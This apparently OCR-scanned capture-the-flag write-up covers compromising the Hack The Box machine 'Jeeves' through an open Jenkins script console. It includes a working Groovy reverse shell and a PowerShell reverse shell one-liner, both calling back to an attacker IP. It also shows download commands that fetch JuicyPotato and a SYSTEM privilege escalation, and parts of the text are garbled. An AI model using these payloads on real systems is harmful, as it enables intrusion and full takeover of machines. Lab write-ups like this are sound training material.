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Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-03 15:11 +08
Nmap scan report for 10.10.10.63
Host is up (@.27s latency).

STATE SERVICE VERSION
open http Microsoft IIS httpd 10.0
| http-methods:
| Potentially risky methods: TRACE
| http-server-header: Microsoft-IIS/10.0
| http-title: Ask Jeeves
open msrpc Microsoft Windows RPC
open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
| _http-server-header: Jetty(9.4.z-SNAPSHOT)
| http-title: Error 404 Not Found

Service Info: Host: JEEVES; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
_clock-skew: mean: 5h@@m43s, deviation: @s, median: 5h@@m43s
_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
smb-security-mode:
authentication_level: user
challenge_response: supported
_ message_signing: disabled (dangerous, but default)
smb2-security-mode:
2.02:
_ Message signing enabled but not required
smb2-time:
date: 2020-02-03T12:12:37
_ start_date: 2020-02-03T09:12:36

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 49.01 seconds

—, Enumeration

Gobuster 45 5

root@xing:~/Desktop/hackthebox/wordlist# gobuster dir -w directory-list-2.3-medium.txt -u "http://10.10.10.63:50
000" -t 50

Gobuster v3.0.1
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@ _FireFart_ )

http://10.10.10.63:50000

50
Wordlist: directory-1list-2.3-medium.txt
Status codes: 200,204,301,302,307,401,403
User Agent: gobuster/3.0.1
Timeout:
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# Dashboard [Jenkins] PayloadsAlLTheThings

<« c 10.10.10.63:5

# Jenkins

Jenkins

& New ltem
& People Welcome to Jenkins!

—= Build Histor .
: Please create new jobs to get started.
" Manage Jenkins

A Credentials

Build Queue =

Mo builds in the queue.

Build Executor Status =

1 Idle
2 Idle
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https://www.hackingarticles.in/exploiting-jenkins-groovy-script-console-in-multiple-ways/

® 10.10.10.63:

! Jenkins ENABLE AUTO REFRESH
= Build History * New version of Jenkins (2.88) is available for download (changelog). AT
,h Manage Jenkins L@ f)olmlugtulrf Slyst:m [

#4. Credentials .
[[ 1] Configure Global Securit
1 | Se Jenkins; define who is alle

Build Queue =

"‘”\ Configure Credentials
L % Configure the ntial providers and

No builds in the queue.

Global Tool Configuration
Build Executor Status = Configure tools, their locations and automatic installers
1 Idle

2 Idle

Reload Configuration from Disk
Discard all the loaded data in memory and reload

thing from file system. Useful when you modified

config files directly on disk
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Manage Plugins

Add, remove, disable or enable plugins that can extend the functionality of Jenkins. (updates available)
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Load Statistics
Ch jour resource utilization and
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Type in an arbitrary Groovy script and execute it on the server. Useful for trouble-shooting and diagnostics. Use the ‘printin’ command to see the output (i
you use System.out, it will go to the server's stdout, which is harder to see.) Example:

println{Jenkins.instance.pluginManager.plugins)

All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model. * are pre-imported.

Google T Groovy reverse shell
XA H A 1R £ 77 {E Reverse shellff11XA5
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String host="10.10.14.6";

int port=4242;

String cmd="cmd.exe";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream p|
i=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOu

tputStream();while(!s.isClosed()){while(pi.available()>@)so.write(pi.read());while(pe.available()>0)so.write(pe.
read());while(si.available()>@)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();bre
ak; }catch (Exception e){}};p.destroy();s.close();



https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

FIhEF] cmd shell

# nc -nvlp 4242

listelung.un [any] 4242 ... @
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.63] 49694
Microsoft Windows [Version 10.9.10586] Jenkins

(c) 2015 Microsoft Corporation. ALl rights reserved.

log in

C:\Users\Administrator\.jenkins>[] & New ltem

— .
People = Script Console
P ==
"> Build History
Type in an arbitrary Groovy script and execute it on the server. Useful for trouble-shooting and diagnostics. Use the ‘printin’ command to see the output (i
£% Manage Jenkins you use System. out, it will go to the server's stdout, which is harder to see.) Example:
4. Credentials println(Jenkins.instance.pluginManager.plugins)
All the classes from all the plugins are visible. jenkins. =, jenkins.model.*, hudson.*, and hudson.model. * are preimporied.

Build Queue =

. string host-"10.10.14.6";
No builds in the queue. int port=4242;

string cmd-"cmd.exe";

Process p=new ProcessBuilder(cmd).redirectErrorstream(true).start();Socket s=new Socket(host,pert);Inputstr]

Build Executor Status =

L |

=, Root

C:\Users\Administrator\.jenkins>whoami /priv

R BiPrivilegesf] SelmpersonatePrivilege & enable
BATU X AFBLE R G SYSTEMRHAT BATHI ST MBS R A
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C:\Users\Administrator\. jenkins>whoami /priv
whoami /priv

PRIVILEGES INFORMATION

Descripti

SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

C:\Users\Administrator\.jenkins>[]

B, BATEHIME— JuicyPotato B304 AT LM github T £, R G4 1% .
JuicyPotatoii H Hbht

A AR FHVisual Studio 2019 #k47 4 1%
SERJE k18 JuicyPotato.exe

B —4 Powershell Reverse shell JiIAs 444 4 powershell.bat

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.6"',5555);%stream = $client.GetSt
ream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-O
bject -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$s

endback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stre
am.Write($sendbyte,0,%$sendbyte.Length);$stream.Flush()};$client.Close()"

S 5 1fi Fpowershell #74 _EAE XA U BIFRATHFENL


https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
https://github.com/ohpe/juicy-potato

powershell -c "(New-Object System.Net.Webclient).DownloadFile('http://10.10.14.6/juicypotato.exe’, 'C:\Users\kohs
uke\Desktop\juicypotato.exe"

"(New-object System.Net.Webclient).DownloadFile('http://10.10.14.6/cmd.bat', 'C:\Users\kohsuke\Desk|
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C:\Users\kohsuke\Desktop>juicypotato.exe -t * -p C:\Users\kohsuke\Desktop\cmd.bat -1 1234
juicypotato.exe -t * -p C:\Users\kohsuke\Desktop\cmd.bat -1 1234
Testing {4991d34b-8Pal-4291-83b6-3328366b9097} 1234

[+] authresult @
{4991d34b-80al1-4291-83b6-3328366b9097} ;NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW 0K

I E Freverse shell

- # nc -nvlp 9999
istening on [any] 9999 ...
onnect to [10.10.14.6] from (UNKNOWN) [10.10.10.63] 49708

PS C:\Windows\system32> whoami
t authority\system
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